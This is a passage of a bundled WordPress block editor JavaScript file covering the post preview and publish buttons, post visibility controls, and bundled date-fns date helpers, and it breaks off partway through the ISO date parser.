17098 d: "M48 12c19.9 0 36 16.1 36 36S67.9 84 48 84 12 67.9 12 48s16.1-36 36-36",
17099 fill: "none"
17100 }
17101 ),
17102 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17103 external_wp_components_namespaceObject.Path,
17104 {
17105 className: "inner",
17106 d: "M69.5 46.4c0-3.9-1.4-6.7-2.6-8.8-1.6-2.6-3.1-4.9-3.1-7.5 0-2.9 2.2-5.7 5.4-5.7h.4C63.9 19.2 56.4 16 48 16c-11.2 0-21 5.7-26.7 14.4h2.1c3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3L40 67.5l7-20.9L42 33c-1.7-.1-3.3-.3-3.3-.3-1.7-.1-1.5-2.7.2-2.6 0 0 5.3.4 8.4.4 3.3 0 8.5-.4 8.5-.4 1.7-.1 1.9 2.4.2 2.6 0 0-1.7.2-3.7.3l11.5 34.3 3.3-10.4c1.6-4.5 2.4-7.8 2.4-10.5zM16.1 48c0 12.6 7.3 23.5 18 28.7L18.8 35c-1.7 4-2.7 8.4-2.7 13zm32.5 2.8L39 78.6c2.9.8 5.9 1.3 9 1.3 3.7 0 7.3-.6 10.6-1.8-.1-.1-.2-.3-.2-.4l-9.8-26.9zM76.2 36c0 3.2-.6 6.9-2.4 11.4L64 75.6c9.5-5.5 15.9-15.8 15.9-27.6 0-5.5-1.4-10.8-3.9-15.3.1 1 .2 2.1.2 3.3z",
17107 fill: "none"
17108 }
17109 )
17110 ] }),
17111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("Generating preview\u2026") })
17112 ] })
17113 );
17114 markup += `
17115 <style>
17116 body {
17117 margin: 0;
17118 }
17119 .editor-post-preview-button__interstitial-message {
17120 display: flex;
17121 flex-direction: column;
17122 align-items: center;
17123 justify-content: center;
17124 height: 100vh;
17125 width: 100vw;
17126 }
17127 @-webkit-keyframes paint {
17128 0% {
17129 stroke-dashoffset: 0;
17130 }
17131 }
17132 @-moz-keyframes paint {
17133 0% {
17134 stroke-dashoffset: 0;
17135 }
17136 }
17137 @-o-keyframes paint {
17138 0% {
17139 stroke-dashoffset: 0;
17140 }
17141 }
17142 @keyframes paint {
17143 0% {
17144 stroke-dashoffset: 0;
17145 }
17146 }
17147 .editor-post-preview-button__interstitial-message svg {
17148 width: 192px;
17149 height: 192px;
17150 stroke: #555d66;
17151 stroke-width: 0.75;
17152 }
17153 .editor-post-preview-button__interstitial-message svg .outer,
17154 .editor-post-preview-button__interstitial-message svg .inner {
17155 stroke-dasharray: 280;
17156 stroke-dashoffset: 280;
17157 -webkit-animation: paint 1.5s ease infinite alternate;
17158 -moz-animation: paint 1.5s ease infinite alternate;
17159 -o-animation: paint 1.5s ease infinite alternate;
17160 animation: paint 1.5s ease infinite alternate;
17161 }
17162 p {
17163 text-align: center;
17164 font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
17165 }
17166 </style>
17167 `;
17168 markup = (0,external_wp_hooks_namespaceObject.applyFilters)("editor.PostPreview.interstitialMarkup", markup);
17169 targetDocument.write(markup);
17170 targetDocument.title = (0,external_wp_i18n_namespaceObject.__)("Generating preview\u2026");
17171 targetDocument.close();
17172}
17173function PostPreviewButton({
17174 className,
17175 textContent,
17176 forceIsAutosaveable,
17177 role,
17178 onPreview
17179}) {
17180 const { postId, currentPostLink, previewLink, isSaveable, isViewable } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
17181 const editor = select(store_store);
17182 const core = select(external_wp_coreData_namespaceObject.store);
17183 const postType = core.getPostType(
17184 editor.getCurrentPostType("type")
17185 );
17186 const canView = postType?.viewable ?? false;
17187 if (!canView) {
17188 return { isViewable: canView };
17189 }
17190 return {
17191 postId: editor.getCurrentPostId(),
17192 currentPostLink: editor.getCurrentPostAttribute("link"),
17193 previewLink: editor.getEditedPostPreviewLink(),
17194 isSaveable: editor.isEditedPostSaveable(),
17195 isViewable: canView
17196 };
17197 }, []);
17198 const { __unstableSaveForPreview } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
17199 if (!isViewable) {
17200 return null;
17201 }
17202 const targetId = `wp-preview-${postId}`;
17203 const openPreviewWindow = async (event) => {
17204 event.preventDefault();
17205 const previewWindow = window.open("", targetId);
17206 previewWindow.focus();
17207 writeInterstitialMessage(previewWindow.document);
17208 const link = await __unstableSaveForPreview({ forceIsAutosaveable });
17209 previewWindow.location = link;
17210 onPreview?.();
17211 };
17212 const href = previewLink || currentPostLink;
17213 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17214 external_wp_components_namespaceObject.Button,
17215 {
17216 variant: !className ? "tertiary" : void 0,
17217 className: className || "editor-post-preview",
17218 href,
17219 target: targetId,
17220 accessibleWhenDisabled: true,
17221 disabled: !isSaveable,
17222 onClick: openPreviewWindow,
17223 role,
17224 size: "compact",
17225 children: textContent || /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
17226 (0,external_wp_i18n_namespaceObject._x)("Preview", "imperative verb"),
17227 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
17228 as: "span",
17229 /* translators: accessibility text */
17230 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
17231 })
17232 ] })
17233 }
17234 );
17235}
17236
17237
17238;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/label.js
17239
17240
17241
17242
17243function PublishButtonLabel() {
17244 const isSmallerThanMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
17245 const {
17246 isPublished,
17247 isBeingScheduled,
17248 isSaving,
17249 isPublishing,
17250 hasPublishAction,
17251 isAutosaving,
17252 hasNonPostEntityChanges,
17253 postStatusHasChanged,
17254 postStatus
17255 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
17256 const {
17257 isCurrentPostPublished,
17258 isEditedPostBeingScheduled,
17259 isSavingPost,
17260 isPublishingPost,
17261 getCurrentPost,
17262 getCurrentPostType,
17263 isAutosavingPost,
17264 getPostEdits,
17265 getEditedPostAttribute
17266 } = select(store_store);
17267 return {
17268 isPublished: isCurrentPostPublished(),
17269 isBeingScheduled: isEditedPostBeingScheduled(),
17270 isSaving: isSavingPost(),
17271 isPublishing: isPublishingPost(),
17272 hasPublishAction: getCurrentPost()._links?.["wp:action-publish"] ?? false,
17273 postType: getCurrentPostType(),
17274 isAutosaving: isAutosavingPost(),
17275 hasNonPostEntityChanges: select(store_store).hasNonPostEntityChanges(),
17276 postStatusHasChanged: !!getPostEdits()?.status,
17277 postStatus: getEditedPostAttribute("status")
17278 };
17279 }, []);
17280 if (isPublishing) {
17281 return (0,external_wp_i18n_namespaceObject.__)("Publishing\u2026");
17282 } else if ((isPublished || isBeingScheduled) && isSaving && !isAutosaving) {
17283 return (0,external_wp_i18n_namespaceObject.__)("Saving\u2026");
17284 }
17285 if (!hasPublishAction) {
17286 return isSmallerThanMediumViewport ? (0,external_wp_i18n_namespaceObject.__)("Publish") : (0,external_wp_i18n_namespaceObject.__)("Submit for Review");
17287 }
17288 if (hasNonPostEntityChanges || isPublished || postStatusHasChanged && !["future", "publish"].includes(postStatus) || !postStatusHasChanged && postStatus === "future") {
17289 return (0,external_wp_i18n_namespaceObject.__)("Save");
17290 }
17291 if (isBeingScheduled) {
17292 return (0,external_wp_i18n_namespaceObject.__)("Schedule");
17293 }
17294 return (0,external_wp_i18n_namespaceObject.__)("Publish");
17295}
17296
17297
17298;// ./node_modules/@wordpress/editor/build-module/components/post-publish-button/index.js
17299
17300
17301
17302
17303
17304
17305
17306const post_publish_button_noop = () => {
17307};
17308class PostPublishButton extends external_wp_element_namespaceObject.Component {
17309 constructor(props) {
17310 super(props);
17311 this.createOnClick = this.createOnClick.bind(this);
17312 this.closeEntitiesSavedStates = this.closeEntitiesSavedStates.bind(this);
17313 this.state = {
17314 entitiesSavedStatesCallback: false
17315 };
17316 }
17317 createOnClick(callback) {
17318 return (...args) => {
17319 const { hasNonPostEntityChanges, setEntitiesSavedStatesCallback } = this.props;
17320 if (hasNonPostEntityChanges && setEntitiesSavedStatesCallback) {
17321 this.setState({
17322 entitiesSavedStatesCallback: () => callback(...args)
17323 });
17324 setEntitiesSavedStatesCallback(
17325 () => this.closeEntitiesSavedStates
17326 );
17327 return post_publish_button_noop;
17328 }
17329 return callback(...args);
17330 };
17331 }
17332 closeEntitiesSavedStates(savedEntities) {
17333 const { postType, postId } = this.props;
17334 const { entitiesSavedStatesCallback } = this.state;
17335 this.setState({ entitiesSavedStatesCallback: false }, () => {
17336 if (savedEntities && savedEntities.some(
17337 (elt) => elt.kind === "postType" && elt.name === postType && elt.key === postId
17338 )) {
17339 entitiesSavedStatesCallback();
17340 }
17341 });
17342 }
17343 render() {
17344 const {
17345 forceIsDirty,
17346 hasPublishAction,
17347 isBeingScheduled,
17348 isOpen,
17349 isPostSavingLocked,
17350 isPublishable,
17351 isPublished,
17352 isSaveable,
17353 isSaving,
17354 isAutoSaving,
17355 isToggle,
17356 savePostStatus,
17357 onSubmit = post_publish_button_noop,
17358 onToggle,
17359 visibility,
17360 hasNonPostEntityChanges,
17361 isSavingNonPostEntityChanges,
17362 postStatus,
17363 postStatusHasChanged
17364 } = this.props;
17365 const isButtonDisabled = (isSaving || !isSaveable || isPostSavingLocked || !isPublishable && !forceIsDirty) && (!hasNonPostEntityChanges || isSavingNonPostEntityChanges);
17366 const isToggleDisabled = (isPublished || isSaving || !isSaveable || !isPublishable && !forceIsDirty) && (!hasNonPostEntityChanges || isSavingNonPostEntityChanges);
17367 let publishStatus = "publish";
17368 if (postStatusHasChanged) {
17369 publishStatus = postStatus;
17370 } else if (!hasPublishAction) {
17371 publishStatus = "pending";
17372 } else if (visibility === "private") {
17373 publishStatus = "private";
17374 } else if (isBeingScheduled) {
17375 publishStatus = "future";
17376 }
17377 const onClickButton = () => {
17378 if (isButtonDisabled) {
17379 return;
17380 }
17381 onSubmit();
17382 savePostStatus(publishStatus);
17383 };
17384 const onClickToggle = () => {
17385 if (isToggleDisabled) {
17386 return;
17387 }
17388 onToggle();
17389 };
17390 const buttonProps = {
17391 "aria-disabled": isButtonDisabled,
17392 className: "editor-post-publish-button",
17393 isBusy: !isAutoSaving && isSaving,
17394 variant: "primary",
17395 onClick: this.createOnClick(onClickButton),
17396 "aria-haspopup": hasNonPostEntityChanges ? "dialog" : void 0
17397 };
17398 const toggleProps = {
17399 "aria-disabled": isToggleDisabled,
17400 "aria-expanded": isOpen,
17401 className: "editor-post-publish-panel__toggle",
17402 isBusy: isSaving && isPublished,
17403 variant: "primary",
17404 size: "compact",
17405 onClick: this.createOnClick(onClickToggle),
17406 "aria-haspopup": hasNonPostEntityChanges ? "dialog" : void 0
17407 };
17408 const componentProps = isToggle ? toggleProps : buttonProps;
17409 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17410 external_wp_components_namespaceObject.Button,
17411 {
17412 ...componentProps,
17413 className: `${componentProps.className} editor-post-publish-button__button`,
17414 size: "compact",
17415 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PublishButtonLabel, {})
17416 }
17417 ) });
17418 }
17419}
17420var post_publish_button_default = (0,external_wp_compose_namespaceObject.compose)([
17421 (0,external_wp_data_namespaceObject.withSelect)((select) => {
17422 const {
17423 isSavingPost,
17424 isAutosavingPost,
17425 isEditedPostBeingScheduled,
17426 getEditedPostVisibility,
17427 isCurrentPostPublished,
17428 isEditedPostSaveable,
17429 isEditedPostPublishable,
17430 isPostSavingLocked,
17431 getCurrentPost,
17432 getCurrentPostType,
17433 getCurrentPostId,
17434 hasNonPostEntityChanges,
17435 isSavingNonPostEntityChanges,
17436 getEditedPostAttribute,
17437 getPostEdits
17438 } = select(store_store);
17439 return {
17440 isSaving: isSavingPost(),
17441 isAutoSaving: isAutosavingPost(),
17442 isBeingScheduled: isEditedPostBeingScheduled(),
17443 visibility: getEditedPostVisibility(),
17444 isSaveable: isEditedPostSaveable(),
17445 isPostSavingLocked: isPostSavingLocked(),
17446 isPublishable: isEditedPostPublishable(),
17447 isPublished: isCurrentPostPublished(),
17448 hasPublishAction: getCurrentPost()._links?.["wp:action-publish"] ?? false,
17449 postType: getCurrentPostType(),
17450 postId: getCurrentPostId(),
17451 postStatus: getEditedPostAttribute("status"),
17452 postStatusHasChanged: getPostEdits()?.status,
17453 hasNonPostEntityChanges: hasNonPostEntityChanges(),
17454 isSavingNonPostEntityChanges: isSavingNonPostEntityChanges()
17455 };
17456 }),
17457 (0,external_wp_data_namespaceObject.withDispatch)((dispatch) => {
17458 const { editPost, savePost } = dispatch(store_store);
17459 return {
17460 savePostStatus: (status) => {
17461 editPost({ status }, { undoIgnore: true });
17462 savePost();
17463 }
17464 };
17465 })
17466])(PostPublishButton);
17467
17468
17469;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
17470
17471
17472var wordpress_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "-2 -2 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z" }) });
17473
17474
17475;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/utils.js
17476
17477const VISIBILITY_OPTIONS = [
17478 {
17479 label: (0,external_wp_i18n_namespaceObject.__)("Public"),
17480 value: "public",
17481 description: (0,external_wp_i18n_namespaceObject.__)("Visible to everyone.")
17482 },
17483 {
17484 label: (0,external_wp_i18n_namespaceObject.__)("Private"),
17485 value: "private",
17486 description: (0,external_wp_i18n_namespaceObject.__)("Only visible to site admins and editors.")
17487 },
17488 {
17489 label: (0,external_wp_i18n_namespaceObject.__)("Password protected"),
17490 value: "password",
17491 description: (0,external_wp_i18n_namespaceObject.__)("Only visible to those who know the password.")
17492 }
17493];
17494
17495
17496;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/index.js
17497
17498
17499
17500
17501
17502
17503
17504
17505
17506function PostVisibility({ onClose }) {
17507 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostVisibility);
17508 const { status, visibility, password } = (0,external_wp_data_namespaceObject.useSelect)((select) => ({
17509 status: select(store_store).getEditedPostAttribute("status"),
17510 visibility: select(store_store).getEditedPostVisibility(),
17511 password: select(store_store).getEditedPostAttribute("password")
17512 }));
17513 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
17514 const [hasPassword, setHasPassword] = (0,external_wp_element_namespaceObject.useState)(!!password);
17515 function updateVisibility(value) {
17516 const nextValues = {
17517 public: {
17518 status: visibility === "private" ? "draft" : status,
17519 password: ""
17520 },
17521 private: { status: "private", password: "" },
17522 password: {
17523 status: visibility === "private" ? "draft" : status,
17524 password: password || ""
17525 }
17526 };
17527 editPost(nextValues[value]);
17528 setHasPassword(value === "password");
17529 }
17530 const updatePassword = (value) => {
17531 editPost({ password: value });
17532 };
17533 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-visibility", children: [
17534 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17535 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
17536 {
17537 title: (0,external_wp_i18n_namespaceObject.__)("Visibility"),
17538 help: (0,external_wp_i18n_namespaceObject.__)("Control how this post is viewed."),
17539 onClose
17540 }
17541 ),
17542 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
17543 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17544 external_wp_components_namespaceObject.RadioControl,
17545 {
17546 label: (0,external_wp_i18n_namespaceObject.__)("Visibility"),
17547 hideLabelFromVision: true,
17548 options: VISIBILITY_OPTIONS,
17549 selected: hasPassword ? "password" : visibility,
17550 onChange: updateVisibility
17551 }
17552 ),
17553 hasPassword && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17554 external_wp_components_namespaceObject.TextControl,
17555 {
17556 label: (0,external_wp_i18n_namespaceObject.__)("Password"),
17557 onChange: updatePassword,
17558 value: password,
17559 placeholder: (0,external_wp_i18n_namespaceObject.__)("Use a secure password"),
17560 type: "text",
17561 id: `editor-post-visibility__password-input-${instanceId}`,
17562 __next40pxDefaultSize: true,
17563 __nextHasNoMarginBottom: true,
17564 maxLength: 255
17565 }
17566 )
17567 ] })
17568 ] });
17569}
17570
17571
17572;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/label.js
17573
17574
17575
17576function PostVisibilityLabel() {
17577 return usePostVisibilityLabel();
17578}
17579function usePostVisibilityLabel() {
17580 const visibility = (0,external_wp_data_namespaceObject.useSelect)(
17581 (select) => select(store_store).getEditedPostVisibility(),
17582 []
17583 );
17584 return VISIBILITY_OPTIONS.find((option) => option.value === visibility)?.label;
17585}
17586
17587
17588;// ./node_modules/date-fns/toDate.mjs
17589/**
17590 * @name toDate
17591 * @category Common Helpers
17592 * @summary Convert the given argument to an instance of Date.
17593 *
17594 * @description
17595 * Convert the given argument to an instance of Date.
17596 *
17597 * If the argument is an instance of Date, the function returns its clone.
17598 *
17599 * If the argument is a number, it is treated as a timestamp.
17600 *
17601 * If the argument is none of the above, the function returns Invalid Date.
17602 *
17603 * **Note**: *all* Date arguments passed to any *date-fns* function is processed by `toDate`.
17604 *
17605 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
17606 *
17607 * @param argument - The value to convert
17608 *
17609 * @returns The parsed date in the local time zone
17610 *
17611 * @example
17612 * // Clone the date:
17613 * const result = toDate(new Date(2014, 1, 11, 11, 30, 30))
17614 * //=> Tue Feb 11 2014 11:30:30
17615 *
17616 * @example
17617 * // Convert the timestamp to date:
17618 * const result = toDate(1392098430000)
17619 * //=> Tue Feb 11 2014 11:30:30
17620 */
17621function toDate(argument) {
17622 const argStr = Object.prototype.toString.call(argument);
17623
17624 // Clone the date
17625 if (
17626 argument instanceof Date ||
17627 (typeof argument === "object" && argStr === "[object Date]")
17628 ) {
17629 // Prevent the date to lose the milliseconds when passed to new Date() in IE10
17630 return new argument.constructor(+argument);
17631 } else if (
17632 typeof argument === "number" ||
17633 argStr === "[object Number]" ||
17634 typeof argument === "string" ||
17635 argStr === "[object String]"
17636 ) {
17637 // TODO: Can we get rid of as?
17638 return new Date(argument);
17639 } else {
17640 // TODO: Can we get rid of as?
17641 return new Date(NaN);
17642 }
17643}
17644
17645// Fallback for modularized imports:
17646/* harmony default export */ const date_fns_toDate = ((/* unused pure expression or super */ null && (toDate)));
17647
17648;// ./node_modules/date-fns/startOfMonth.mjs
17649
17650
17651/**
17652 * @name startOfMonth
17653 * @category Month Helpers
17654 * @summary Return the start of a month for the given date.
17655 *
17656 * @description
17657 * Return the start of a month for the given date.
17658 * The result will be in the local timezone.
17659 *
17660 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
17661 *
17662 * @param date - The original date
17663 *
17664 * @returns The start of a month
17665 *
17666 * @example
17667 * // The start of a month for 2 September 2014 11:55:00:
17668 * const result = startOfMonth(new Date(2014, 8, 2, 11, 55, 0))
17669 * //=> Mon Sep 01 2014 00:00:00
17670 */
17671function startOfMonth(date) {
17672 const _date = toDate(date);
17673 _date.setDate(1);
17674 _date.setHours(0, 0, 0, 0);
17675 return _date;
17676}
17677
17678// Fallback for modularized imports:
17679/* harmony default export */ const date_fns_startOfMonth = ((/* unused pure expression or super */ null && (startOfMonth)));
17680
17681;// ./node_modules/date-fns/endOfMonth.mjs
17682
17683
17684/**
17685 * @name endOfMonth
17686 * @category Month Helpers
17687 * @summary Return the end of a month for the given date.
17688 *
17689 * @description
17690 * Return the end of a month for the given date.
17691 * The result will be in the local timezone.
17692 *
17693 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
17694 *
17695 * @param date - The original date
17696 *
17697 * @returns The end of a month
17698 *
17699 * @example
17700 * // The end of a month for 2 September 2014 11:55:00:
17701 * const result = endOfMonth(new Date(2014, 8, 2, 11, 55, 0))
17702 * //=> Tue Sep 30 2014 23:59:59.999
17703 */
17704function endOfMonth(date) {
17705 const _date = toDate(date);
17706 const month = _date.getMonth();
17707 _date.setFullYear(_date.getFullYear(), month + 1, 0);
17708 _date.setHours(23, 59, 59, 999);
17709 return _date;
17710}
17711
17712// Fallback for modularized imports:
17713/* harmony default export */ const date_fns_endOfMonth = ((/* unused pure expression or super */ null && (endOfMonth)));
17714
17715;// ./node_modules/date-fns/constants.mjs
17716/**
17717 * @module constants
17718 * @summary Useful constants
17719 * @description
17720 * Collection of useful date constants.
17721 *
17722 * The constants could be imported from `date-fns/constants`:
17723 *
17724 * ```ts
17725 * import { maxTime, minTime } from "./constants/date-fns/constants";
17726 *
17727 * function isAllowedTime(time) {
17728 * return time <= maxTime && time >= minTime;
17729 * }
17730 * ```
17731 */
17732
17733/**
17734 * @constant
17735 * @name daysInWeek
17736 * @summary Days in 1 week.
17737 */
17738const daysInWeek = 7;
17739
17740/**
17741 * @constant
17742 * @name daysInYear
17743 * @summary Days in 1 year.
17744 *
17745 * @description
17746 * How many days in a year.
17747 *
17748 * One years equals 365.2425 days according to the formula:
17749 *
17750 * > Leap year occures every 4 years, except for years that are divisable by 100 and not divisable by 400.
17751 * > 1 mean year = (365+1/4-1/100+1/400) days = 365.2425 days
17752 */
17753const daysInYear = 365.2425;
17754
17755/**
17756 * @constant
17757 * @name maxTime
17758 * @summary Maximum allowed time.
17759 *
17760 * @example
17761 * import { maxTime } from "./constants/date-fns/constants";
17762 *
17763 * const isValid = 8640000000000001 <= maxTime;
17764 * //=> false
17765 *
17766 * new Date(8640000000000001);
17767 * //=> Invalid Date
17768 */
17769const maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1000;
17770
17771/**
17772 * @constant
17773 * @name minTime
17774 * @summary Minimum allowed time.
17775 *
17776 * @example
17777 * import { minTime } from "./constants/date-fns/constants";
17778 *
17779 * const isValid = -8640000000000001 >= minTime;
17780 * //=> false
17781 *
17782 * new Date(-8640000000000001)
17783 * //=> Invalid Date
17784 */
17785const minTime = -maxTime;
17786
17787/**
17788 * @constant
17789 * @name millisecondsInWeek
17790 * @summary Milliseconds in 1 week.
17791 */
17792const millisecondsInWeek = 604800000;
17793
17794/**
17795 * @constant
17796 * @name millisecondsInDay
17797 * @summary Milliseconds in 1 day.
17798 */
17799const millisecondsInDay = 86400000;
17800
17801/**
17802 * @constant
17803 * @name millisecondsInMinute
17804 * @summary Milliseconds in 1 minute
17805 */
17806const millisecondsInMinute = 60000;
17807
17808/**
17809 * @constant
17810 * @name millisecondsInHour
17811 * @summary Milliseconds in 1 hour
17812 */
17813const millisecondsInHour = 3600000;
17814
17815/**
17816 * @constant
17817 * @name millisecondsInSecond
17818 * @summary Milliseconds in 1 second
17819 */
17820const millisecondsInSecond = 1000;
17821
17822/**
17823 * @constant
17824 * @name minutesInYear
17825 * @summary Minutes in 1 year.
17826 */
17827const minutesInYear = 525600;
17828
17829/**
17830 * @constant
17831 * @name minutesInMonth
17832 * @summary Minutes in 1 month.
17833 */
17834const minutesInMonth = 43200;
17835
17836/**
17837 * @constant
17838 * @name minutesInDay
17839 * @summary Minutes in 1 day.
17840 */
17841const minutesInDay = 1440;
17842
17843/**
17844 * @constant
17845 * @name minutesInHour
17846 * @summary Minutes in 1 hour.
17847 */
17848const minutesInHour = 60;
17849
17850/**
17851 * @constant
17852 * @name monthsInQuarter
17853 * @summary Months in 1 quarter.
17854 */
17855const monthsInQuarter = 3;
17856
17857/**
17858 * @constant
17859 * @name monthsInYear
17860 * @summary Months in 1 year.
17861 */
17862const monthsInYear = 12;
17863
17864/**
17865 * @constant
17866 * @name quartersInYear
17867 * @summary Quarters in 1 year
17868 */
17869const quartersInYear = 4;
17870
17871/**
17872 * @constant
17873 * @name secondsInHour
17874 * @summary Seconds in 1 hour.
17875 */
17876const secondsInHour = 3600;
17877
17878/**
17879 * @constant
17880 * @name secondsInMinute
17881 * @summary Seconds in 1 minute.
17882 */
17883const secondsInMinute = 60;
17884
17885/**
17886 * @constant
17887 * @name secondsInDay
17888 * @summary Seconds in 1 day.
17889 */
17890const secondsInDay = secondsInHour * 24;
17891
17892/**
17893 * @constant
17894 * @name secondsInWeek
17895 * @summary Seconds in 1 week.
17896 */
17897const secondsInWeek = secondsInDay * 7;
17898
17899/**
17900 * @constant
17901 * @name secondsInYear
17902 * @summary Seconds in 1 year.
17903 */
17904const secondsInYear = secondsInDay * daysInYear;
17905
17906/**
17907 * @constant
17908 * @name secondsInMonth
17909 * @summary Seconds in 1 month
17910 */
17911const secondsInMonth = secondsInYear / 12;
17912
17913/**
17914 * @constant
17915 * @name secondsInQuarter
17916 * @summary Seconds in 1 quarter.
17917 */
17918const secondsInQuarter = secondsInMonth * 3;
17919
17920;// ./node_modules/date-fns/parseISO.mjs
17921
17922
17923/**
17924 * The {@link parseISO} function options.
17925 */
17926
17927/**
17928 * @name parseISO
17929 * @category Common Helpers
17930 * @summary Parse ISO string
17931 *
17932 * @description
17933 * Parse the given string in ISO 8601 format and return an instance of Date.
17934 *
17935 * Function accepts complete ISO 8601 formats as well as partial implementations.
17936 * ISO 8601: http://en.wikipedia.org/wiki/ISO_8601
17937 *
17938 * If the argument isn't a string, the function cannot parse the string or
17939 * the values are invalid, it returns Invalid Date.
17940 *
17941 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
17942 *
17943 * @param argument - The value to convert
17944 * @param options - An object with options
17945 *
17946 * @returns The parsed date in the local time zone
17947 *
17948 * @example
17949 * // Convert string '2014-02-11T11:30:30' to date:
17950 * const result = parseISO('2014-02-11T11:30:30')
17951 * //=> Tue Feb 11 2014 11:30:30
17952 *
17953 * @example
17954 * // Convert string '+02014101' to date,
17955 * // if the additional number of digits in the extended year format is 1:
17956 * const result = parseISO('+02014101', { additionalDigits: 1 })
17957 * //=> Fri Apr 11 2014 00:00:00
17958 */
17959function parseISO(argument, options) {
17960 const additionalDigits = options?.additionalDigits ?? 2;
17961 const dateStrings = splitDateString(argument);
17962
17963 let date;
17964 if (dateStrings.date) {
17965 const parseYearResult = parseYear(dateStrings.date, additionalDigits);
17966 date = parseDate(parseYearResult.restDateString, parseYearResult.year);
17967 }
17968
17969 if (!date || isNaN(date.getTime())) {
17970 return new Date(NaN);
17971 }
17972
17973 const timestamp = date.getTime();
17974 let time = 0;
17975 let offset;
17976
17977 if (dateStrings.time) {
17978 time = parseTime(dateStrings.time);
17979 if (isNaN(time)) {
17980 return new Date(NaN);
17981 }
17982 }
17983
17984 if (dateStrings.timezone) {
17985 offset = parseTimezone(dateStrings.timezone);
17986 if (isNaN(offset)) {
17987 return new Date(NaN);
17988 }
17989 } else {
17990 const dirtyDate = new Date(timestamp + time);
17991 // JS parsed string assuming it's in UTC timezone
17992 // but we need it to be parsed in our timezone
17993 // so we use utc values to build date in our timezone.
17994 // Year values from 0 to 99 map to the years 1900 to 1999
17995 // so set year explicitly with setFullYear.
17996 const result = new Date(0);
17997 result.setFullYear(
17998 dirtyDate.getUTCFullYear(),
17999 dirtyDate.getUTCMonth(),
18000 dirtyDate.getUTCDate(),
18001 );
18002 result.setHours(
18003 dirtyDate.getUTCHours(),
18004 dirtyDate.getUTCMinutes(),
18005 dirtyDate.getUTCSeconds(),
18006 dirtyDate.getUTCMilliseconds(),
18007 );
18008 return result;
18009 }
18010
18011 return new Date(timestamp + time + offset);
18012}
18013
18014const patterns = {
18015 dateTimeDelimiter: /[T ]/,
18016 timeZoneDelimiter: /[Z ]/i,
18017 timezone: /([Z+-].*)$/,
18018};
18019
18020const dateRegex =
